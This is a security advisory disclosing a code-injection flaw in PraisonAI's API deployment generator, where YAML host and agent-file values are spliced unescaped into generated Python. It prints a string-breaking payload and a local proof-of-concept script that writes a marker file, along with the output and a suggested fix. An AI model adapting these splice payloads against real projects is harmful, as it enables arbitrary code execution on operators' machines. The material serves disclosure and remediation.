GHSA-79fv-7hq9-w7xg
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
# API deploy code generator embeds unescaped YAML fields into Python source
## Summary
PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
## Technical Details
The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.
The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:
```python
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
...
code = f'''"""
...
praisonai = PraisonAI(agent_file="{agents_file}")
...
"agent_file": "{agents_file}"
...
app.run(
host='{config.host}',
port={config.port},
debug={config.reload}
)
'''
```
The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
```text
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
```
The generated startup code then becomes equivalent to:
```python
app.run(
host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
port=8005,
debug=False,
)
```
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.
## PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.
```python
from pathlib import Path
import json
import sys
import tempfile
import types
import yaml
def install_stubs():
class FakeApp:
def __init__(self, name):
self.name = name
def route(self, *args, **kwargs):
def deco(func):
return func
return deco
def run(self, *args, **kwargs):
return None
flask = types.ModuleType("flask")
flask.Flask = FakeApp
flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
flask.jsonify = lambda obj: obj
sys.modules["flask"] = flask
flask_cors = types.ModuleType("flask_cors")
flask_cors.CORS = lambda app: app
sys.modules["flask_cors"] = flask_cors
praisonai_mod = types.ModuleType("praisonai")
class FakePraisonAI:
def __init__(self, agent_file):
self.agent_file = agent_file
def run(self):
return "ok"
praisonai_mod.PraisonAI = FakePraisonAI
sys.modules["praisonai"] = praisonai_mod
def main(repo):
sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
from praisonai.deploy.api import generate_api_server_code
from praisonai.deploy.models import APIConfig
from praisonai.deploy.schema import validate_agents_yaml
install_stubs()
with tempfile.TemporaryDirectory() as tmp:
tmp_path = Path(tmp)
host_marker = tmp_path / "host-marker.txt"
file_marker = tmp_path / "agent-file-marker.txt"
host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
agents_yaml = tmp_path / "agents.yaml"
agents_yaml.write_text(yaml.safe_dump({
"deploy": {
"type": "api",
"api": {"host": host_payload, "port": 8005, "auth_enabled": False},
},
"agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
}))
parsed_config = validate_agents_yaml(str(agents_yaml))
results = []
for label, config in [
("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
("malicious_host_from_yaml", parsed_config.api),
]:
host_marker.unlink(missing_ok=True)
code = generate_api_server_code("agents.yaml", config)
compile(code, f"<generated-{label}>", "exec")
exec(code, {"__name__": "__main__"})
results.append({
"case": label,
"compiled": True,
"host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
"marker_exists_after_startup": host_marker.exists(),
"marker_contents": host_marker.read_text() if host_marker.exists() else None,
"generated_contains_raw_host": config.host in code,
})
file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
file_marker.unlink(missing_ok=True)
code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
compile(code, "<generated-agent-file>", "exec")
namespace = {"__name__": "generated_agent_file"}
exec(code, namespace)
namespace["list_agents"]()
results.append({
"case": "malicious_agent_file_route_value",
"compiled": True,
"marker_exists_after_list_agents": file_marker.exists(),
"marker_contents": file_marker.read_text() if file_marker.exists() else None,
"generated_contains_raw_agent_file": file_payload in code,
})
print(json.dumps(results, indent=2))
return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1
if __name__ == "__main__":
raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
```
## PoC
Command used against current source:
```sh
uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI
```
Decisive output:
```json
[
{
"case": "safe_host",
"compiled": true,
"host_preserved_by_yaml_parser": null,
"marker_exists_after_startup": false,
"marker_contents": null,
"generated_contains_raw_host": true
},
{
"case": "malicious_host_from_yaml",
"compiled": true,
"host_preserved_by_yaml_parser": true,
"marker_exists_after_startup": true,
"marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
"generated_contains_raw_host": true
},
{
"case": "malicious_agent_file_route_value",
"compiled": true,
"marker_exists_after_list_agents": true,
"marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
"generated_contains_raw_agent_file": true
}
]
```
The `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.
## Impact
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
## Suggested Fix
Do not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.
## Affected Package/Versions
Package: `praisonai`
Confirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`
Static sweep:
| Target | Result |
| --- | --- |
| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |
| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |
Suggested severity: High
Suggested CVSS v3.1:
```text
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
```
Suggested CWEs:
- CWE-94: Improper Control of Generation of Code
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
- CWE-116: Improper Encoding or Escaping of Output
## Advisory History
The closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.
This is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.
## References
- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`
- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths
- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler
- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue
- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue
- CWE-94: https://cwe.mitre.org/data/definitions/94.html
- CWE-95: https://cwe.mitre.org/data/definitions/95.html
- CWE-116: https://cwe.mitre.org/data/definitions/116.html
References
External links from the advisory. They lead to third-party sites.
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg
- https://nvd.nist.gov/vuln/detail/CVE-2026-61433
- https://nvd.nist.gov/vuln/detail/CVE-2026-62173
- https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0
- https://github.com/MervinPraison/PraisonAI
- https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator